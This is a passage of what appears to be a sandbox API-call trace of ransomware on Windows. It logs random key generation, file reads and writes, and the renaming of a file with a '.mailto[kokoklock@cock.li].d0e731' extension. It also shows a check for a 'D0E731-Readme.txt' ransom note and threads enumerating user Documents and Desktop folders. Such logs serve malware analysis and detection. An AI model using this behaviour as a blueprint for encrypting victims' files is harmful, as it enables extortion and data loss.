lpOverlapped=0x0 | out: lpBuffer=0xccafbd0*, lpNumberOfBytesRead=0xccafbcc*=0x4, lpOverlapped=0x0) returned 1 [0066.826] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0066.826] NtQuerySystemTime (in: CurrentTime=0xccafba8 | out: CurrentTime=0xccafba8*=132121176247227934) returned 0x0 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xbf86a9d6 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xc17068c3 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xd98f243a [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x7641f986 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x7d19cf22 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x7ed0538d [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xfe33b3da [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x609b4252 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xe68b3338 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x5f137f3e [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xd773d558 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xd6b902ad [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x52eb3474 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x1e469e82 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x17125f96 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xc039a01b [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xd9dad8c9 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x188f44e8 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x7a033dfd [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x57f68fd2 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x1c9d75b2 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x518f1d37 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xe783975 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xa9c5ea4e [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xab5a3b69 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x6f63ae91 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x233832e4 [0066.826] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xfae92460 [0066.827] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xe9da8a38 [0066.827] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x2e5003c8 [0066.827] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0xe85dda84 [0066.827] RtlRandom (in: Seed=0xccafbb4 | out: Seed=0xccafbb4) returned 0x7eede27d [0066.837] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.837] ReadFile (in: hFile=0x7b4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xccafb80, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xccafb80*=0x4096, lpOverlapped=0x0) returned 1 [0066.838] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0066.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0066.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0066.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xccafb80, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xccafb80*=0x4096, lpOverlapped=0x0) returned 1 [0066.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.839] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x141aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xccafbb8, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0xccafbb8*=0x20, lpOverlapped=0x0) returned 1 [0066.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xccafbcc, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0xccafbcc*=0x8, lpOverlapped=0x0) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0xccafbe4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xccafbcc, lpOverlapped=0x0 | out: lpBuffer=0xccafbe4*, lpNumberOfBytesWritten=0xccafbcc*=0x4, lpOverlapped=0x0) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xccafbcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xccafbcc*=0x4, lpOverlapped=0x0) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xccafbcc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xccafbcc*=0x6c, lpOverlapped=0x0) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xccafbcc, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0xccafbcc*=0x20, lpOverlapped=0x0) returned 1 [0066.839] WriteFile (in: hFile=0x7b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xccafbcc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xccafbcc*=0x4, lpOverlapped=0x0) returned 1 [0066.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0066.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0066.840] CloseHandle (hObject=0x7b4) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6528 [0066.844] wcscpy (in: _Dest=0x33e6528, _Source="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" [0066.844] wcscat (in: _Dest=0x33e6528, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0066.845] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.846] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0066.846] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6528) returned 1 [0066.846] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0066.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426ec8 [0066.846] wcscpy (in: _Dest=0x3426ec8, _Source="C:\\588bce7c90097ed212\\1031\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0066.846] wcscat (in: _Dest=0x3426ec8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" [0066.846] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\d0e731-readme.txt")) returned 0x20 [0066.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ec8) returned 1 [0066.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426b20) returned 1 [0066.847] RtlExitUserThread (Status=0x1) Thread: id = 258 os_tid = 0x1280 [0063.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3422310 [0063.505] wcscpy (in: _Dest=0x3422310, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0063.505] wcscat (in: _Dest=0x3422310, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0063.506] wcscat (in: _Dest=0x3422310, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\*") returned="C:\\Users\\Default.migrated\\Documents\\*" [0063.506] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ca58 [0063.506] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\*", lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433e68 [0063.946] wcscmp (_String1=".", _String2=".") returned 0 [0063.946] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.946] wcscmp (_String1="..", _String2=".") returned 1 [0063.946] wcscmp (_String1="..", _String2="..") returned 0 [0063.946] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99a3d0f, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99a3d0f, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99a3d0f, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0063.946] wcscmp (_String1="My Music", _String2=".") returned 1 [0063.946] wcscmp (_String1="My Music", _String2="..") returned 1 [0063.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427068 [0063.946] wcscpy (in: _Dest=0x3427068, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0063.947] wcscat (in: _Dest=0x3427068, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0063.947] wcscat (in: _Dest=0x3427068, _Source="My Music" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music") returned="C:\\Users\\Default.migrated\\Documents\\My Music" [0066.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0066.295] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0066.295] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0066.295] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0066.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426e60 [0066.295] wcscpy (in: _Dest=0x3426e60, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0066.295] wcscat (in: _Dest=0x3426e60, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0066.295] wcscat (in: _Dest=0x3426e60, _Source="My Pictures" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures" [0066.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0066.296] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0066.296] wcscmp (_String1="My Videos", _String2=".") returned 1 [0066.296] wcscmp (_String1="My Videos", _String2="..") returned 1 [0066.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d90 [0066.296] wcscpy (in: _Dest=0x3426d90, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents" [0066.296] wcscat (in: _Dest=0x3426d90, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\" [0066.296] wcscat (in: _Dest=0x3426d90, _Source="My Videos" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos") returned="C:\\Users\\Default.migrated\\Documents\\My Videos" [0066.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0066.297] FindNextFileW (in: hFindFile=0x3433e68, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99c9f63, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99c9f63, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99c9f63, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0066.297] FindClose (in: hFindFile=0x3433e68 | out: hFindFile=0x3433e68) returned 1 [0066.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca58) returned 1 [0066.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422310) returned 1 [0066.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2848) returned 1 [0066.298] RtlExitUserThread (Status=0x0) Thread: id = 259 os_tid = 0x1284 [0063.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x341e688 [0063.509] wcscpy (in: _Dest=0x341e688, _Source="C:\\Users\\Public\\AccountPictures" | out: _Dest="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0063.509] wcscat (in: _Dest=0x341e688, _Source="\\" | out: _Dest="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0063.509] wcscat (in: _Dest=0x341e688, _Source="*" | out: _Dest="C:\\Users\\Public\\AccountPictures\\*") returned="C:\\Users\\Public\\AccountPictures\\*" [0063.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342a138 [0063.510] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*", lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34342e8 [0063.511] wcscmp (_String1=".", _String2=".") returned 0 [0063.511] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.511] wcscmp (_String1="..", _String2=".") returned 1 [0063.511] wcscmp (_String1="..", _String2="..") returned 0 [0063.511] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.511] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.511] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.511] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a138 | out: lpFindFileData=0x342a138*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.511] FindClose (in: hFindFile=0x34342e8 | out: hFindFile=0x34342e8) returned 1 [0063.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a138) returned 1 [0063.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e688) returned 1 [0063.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0063.511] RtlExitUserThread (Status=0x0) Thread: id = 260 os_tid = 0x1288 [0063.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x34344e8 [0063.512] wcscpy (in: _Dest=0x34344e8, _Source="C:\\Users\\Public\\Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0063.512] wcscat (in: _Dest=0x34344e8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0063.512] wcscat (in: _Dest=0x34344e8, _Source="*" | out: _Dest="C:\\Users\\Public\\Desktop\\*") returned="C:\\Users\\Public\\Desktop\\*" [0063.512] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3428928 [0063.513] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434668 [0063.513] wcscmp (_String1=".", _String2=".") returned 0 [0063.513] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.513] wcscmp (_String1="..", _String2=".") returned 1 [0063.513] wcscmp (_String1="..", _String2="..") returned 0 [0063.513] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38bb5c78, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0063.513] wcscmp (_String1="Acrobat Reader DC.lnk", _String2=".") returned 1 [0063.513] wcscmp (_String1="Acrobat Reader DC.lnk", _String2="..") returned 1 [0063.513] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.513] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0063.513] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0063.513] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0063.513] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0063.513] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0063.513] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0063.513] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0063.513] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0063.513] FindNextFileW (in: hFindFile=0x3434668, lpFindFileData=0x3428928 | out: lpFindFileData=0x3428928*(dwFileAttributes=0x20, 